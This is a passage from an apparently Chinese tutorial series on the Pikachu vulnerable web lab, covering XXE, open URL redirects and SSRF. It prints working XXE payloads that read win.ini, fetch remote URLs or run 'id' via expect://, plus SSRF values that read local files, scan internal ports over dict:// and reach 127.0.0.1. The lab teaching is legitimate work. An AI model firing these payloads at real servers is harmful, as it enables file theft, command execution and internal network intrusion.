你写信时，信的内容被分成了几个部分，比如开头是问候语，中间是正文，结尾是祝福语。这些部分就像是文档元素。

实践

首先，什么是api

API（应用程序编程接口）可以比喻为一家饭店的菜单，你想吃什么需要通过菜单来和厨师（应用程序）联系

而本期内容没有标准答案，有很多方法，在此列举一些，和之前讲过的目录遍历方式一样，指定你本地电脑的文件即可

1，

<?xml version="1.0"?>
<!DOCTYPE ANY [
     <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]>
<a>&xxe;</a>

• <?xml version="1.0"?> ：声明了 XML 文档的版本，这里是 1.0 版本，这是标准的 XML 开头声明，用于定义文档的 XML 版本。

• <!DOCTYPE ANY [ ：这是文档类型定义（DTD）的开始标记。ANY 表示文档的根元素可以是任意名称，在这里是为后续定义外部实体做准备。

• <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]> ：这一行定义了一个名为 xxe 的外部实体，SYSTEM 关键字指定了实体的类型为系统外部实体，其值 file:///c:/windows/win.ini 表示从本地文件系统中读取 C 盘 windows 目录下的 win.ini 文件作为该实体的值。通过这种方式，攻击者可以将本地文件的内容包含到 XML 文档中，如果服务器端在解析 XML 时没有正确处理外部实体引用，就会导致 XXE 漏洞被利用。

• <a>&xxe;</a> ：在 XML 元素 <a> 中引用了之前定义的 xxe 外部实体，当服务器端解析这个 XML 时，会将 &xxe; 替换为从 file:///c:/windows/win.ini 文件中读取的内容，从而实现了读取本地文件的目的，这是 XXE 漏洞的一种典型利用方式。

2

<?xml version="1.0"?>
<!DOCTYPE test [
    <!ENTITY xxe SYSTEM "http://example.com/test.txt">]>
<content>&xxe;</content>

介绍：通过将外部实体指向一个远程 HTTP URL，从远程服务器上读取文件内容。如果服务器端在解析 XML 时允许外部实体引用，并且网络配置允许访问外部网络，攻击者可以通过这种方式获取远程服务器上的敏感信息，或者进行其他恶意操作，如访问内部网络资源等。

3，

<?xml version="1.0"?>
<!DOCTYPE cmd [
    <!ENTITY xxe SYSTEM "expect://id">]>
<data>&xxe;</data>

介绍：有些 XML 解析器会将外部实体的值作为系统命令来执行，在这个例子中，expect://id 会尝试在服务器上执行 id 命令，从而获取服务器上当前用户的权限信息等。不过，这种方式对解析器的要求较高，并非所有解析器都会支持。

至此，xxe模块完成

十四，URL重定向模块

介绍

不安全的url跳转

不安全的url跳转问题可能发生在一切执行了url地址跳转的地方。
如果后端采用了前端传进来的(可能是用户传参,或者之前预埋在前端页面的url地址)参数作为了跳转的目的地,而又没有做判断的话
就可能发生"跳错对象"的问题。

url跳转比较直接的危害是:
-->钓鱼,既攻击者使用漏洞方的域名(比如一个比较出名的公司域名往往会让用户放心的点击)做掩盖,而最终跳转的确实钓鱼网站

这个漏洞比较简单,come on,来测一把!

个人评价：同CSRF一样，钓鱼网站是大头，在此重新说明，注意分寸

适用场景：注意分寸

实际反馈：注意分寸

原理

攻击者可能会利用一个漏洞，篡改服务器返回的页面地址（目标URL）。比如，正常情况下，服务器会将用户重定向到一个安全的登录页面，但攻击者通过篡改URL，让用户被重定向到一个恶意网站，从而实现攻击。

假设你在网上购物，下单后，商家会将商品通过快递公司送到你指定的地址。这个过程就像是一个正常的网页请求，你（用户）向商家（服务器）发起请求，希望得到一个商品（网页内容），而快递公司（网络传输）负责将商品送到你指定的地址（目标URL）。

正常流程

1. 下单：你告诉商家你想要的商品，并且告诉商家你的收货地址（目标URL）。

2. 发货：商家收到订单后，会将商品交给快递公司，并告诉快递公司你的收货地址。

3. 送达：快递公司按照地址将商品送到你手中。

URL重定向漏洞（恶意篡改地址）

现在，假设有一个不怀好意的人（攻击者）在中间捣乱。他可能会篡改你告诉商家的收货地址，让商家把商品寄到他指定的地方，而不是你原本的地址。这就是URL重定向漏洞的原理。

攻击过程

1. 篡改地址：攻击者在你下单的时候，偷偷修改了你的收货地址（目标URL），比如把地址从“你的家”改成“他的仓库”。

2. 误导商家：商家并不知道地址被篡改了，依然按照攻击者提供的地址发货。

3. 攻击者获利：攻击者收到商品后，可能会利用它来攻击你（比如获取你的个人信息，或者让你访问一个恶意网站）。

实践

实践的话和之前说过的File inclusion远程文件包含差不多，修改url即可

比如

?url=http://www.baidu.com

url后面跟的内容可以自行修改

十五，SSRF

介绍

其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制
            导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据

            数据流:攻击者----->服务器---->目标地址

            根据后台使用的函数的不同,对应的影响和利用方法又有不一样

PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()

            如果一定要通过后台服务器远程去对用户指定("或者预埋在前端的请求")的地址进行资源请求,则请做好目标地址的过滤。

            你可以根据"SSRF"里面的项目来搞懂问题的原因

个人评价：用起来需要有一定的开发基础

适用场景：有API请求的网站

实际反馈：攻击内网方面作用还是挺大的

1，SSRF(curl)

原理

首先，什么是curl：

Curl是一个开源的命令行工具和库，用于使用各种网络协议传输数据。它支持多种协议，包括HTTP、HTTPS、FTP、FTPS、SMTP、IMAP等。Curl的名称来源于“Client URL”，它最初是作为客户端工具来访问网络资源的。

在SSRF漏洞中，curl是一个常用的工具，它可以帮助服务器向外部发起HTTP请求。如果服务器没有对curl请求的目标地址进行严格过滤，攻击者就可以通过构造恶意的URL，让服务器访问他们指定的地址。

假设你是一家公司的前台，你的工作是帮员工接收和转寄快递。员工们会把需要寄送的快递单（请求）交给你，然后你负责将快递交给快递公司（网络请求）。快递公司会把快递送到指定的地址（目标服务器）。

正常流程

1. 员工下单：员工给你一张快递单，上面写着收件人的地址（目标服务器的URL）。

2. 前台转寄：你（服务器）检查快递单，确认地址是公司内部的地址（合法的请求目标），然后通过快递公司（curl工具）将快递寄出去。

3. 送达：快递公司把快递送到指定的地址，完成任务。

SSRF漏洞（恶意篡改地址）

现在，假设有一个员工（攻击者）心怀不轨，他在快递单上写了一个外部的地址（非法的URL），比如竞争对手公司的地址，或者一个恶意网站的地址。而你（服务器）没有仔细检查地址是否合法，就直接把快递寄出去了。这就是SSRF漏洞的原理。

攻击过程

1. 篡改地址：攻击者在提交请求时，故意将目标地址改成了一个外部的恶意地址，比如http://evil.com。

2. 服务器转发：服务器（你）没有验证这个地址是否合法，直接通过curl工具向这个地址发起请求。

3. 攻击者获利：攻击者通过这个恶意地址，可能会让服务器访问一个恶意网站，从而获取服务器的敏感信息，或者利用服务器的权限进行进一步的攻击。

实践

点击内容后我们可以看到是url栏有东西，所以可以用File inclusion远程文件，url重定向方面的知识，但是这里用到curl的内容，这就需要大家继续学习了，在此就不再赘述，列举一些内容，大家可以自行尝试

1，访问百度首页
url=http://www.baidu.com
2，查看本地文件
url=file:///c:/test.txt
3，扫描内网机器的开发端口
url=dict://192.168.198.1
4，模拟请求头
curl -H "User-Agent: MyCustomBrowser" http://example.com

2，SSRF（file_get_content）

原理

首先，什么是file_get_content：

file_get_contents 是 PHP 中的一个函数，用于将整个文件的内容读入一个字符串中。它不仅可以读取本地文件的内容，还可以通过指定 URL 来获取远程文件的内容。

file_get_contents是PHP中一个非常强大的函数，它可以用来读取本地文件的内容，也可以用来获取网络资源的内容。如果攻击者能够控制file_get_contents的参数，利用好可以：

• 访问外部恶意网站（如http://evil.com）。

• 访问服务器本地的敏感文件（如file:///etc/passwd）。

• 访问内网资源（如http://192.168.1.100）。

假设你是一家图书馆的管理员，读者（用户）可以通过填写借书单（发送请求）来借阅图书。你的工作是根据借书单上的书名（目标资源）去书架上（服务器端资源）找到对应的书，并把它交给读者。

正常流程

1. 读者填写借书单：读者在借书单上写上他想借的书名，比如“《哈利·波特》”（合法的目标资源）。

2. 管理员找书：你（服务器）根据借书单上的书名去书架上查找这本书。

3. 交付图书：找到书后，你把书交给读者，完成借阅过程。

SSRF漏洞（通过file_get_contents）

现在，假设有个读者（攻击者）在借书单上写了一个奇怪的内容，比如“隔壁图书馆的《哈姆雷特》”（非法的外部资源）。而你（服务器）没有仔细检查借书单上的内容是否合法，就直接去寻找这本书。这就好比服务器通过file_get_contents去请求了一个非法的外部资源，而不是内部允许的资源。

攻击过程

1. 篡改请求：攻击者在输入中故意写了一个非法的资源路径

2. 服务器执行：服务器没有验证这个地址是否合法，直接通过file_get_contents去获取这个外部资源的内容。

3. 攻击者获利：攻击者通过这个恶意地址，可能会让服务器访问一个恶意网站，从而获取服务器的敏感信息，或者利用服务器的权限进行进一步的攻击。

实践

和上面一样改url的内容

比如

查看本地文件
file=file:///C:/test.txt
查看内网内容
file=http://127.0.0.1/pikachu/vul/sqli/1.php

至此皮卡丘靶场讲解全部结束，再次感谢一直以来支持本系列的各位师傅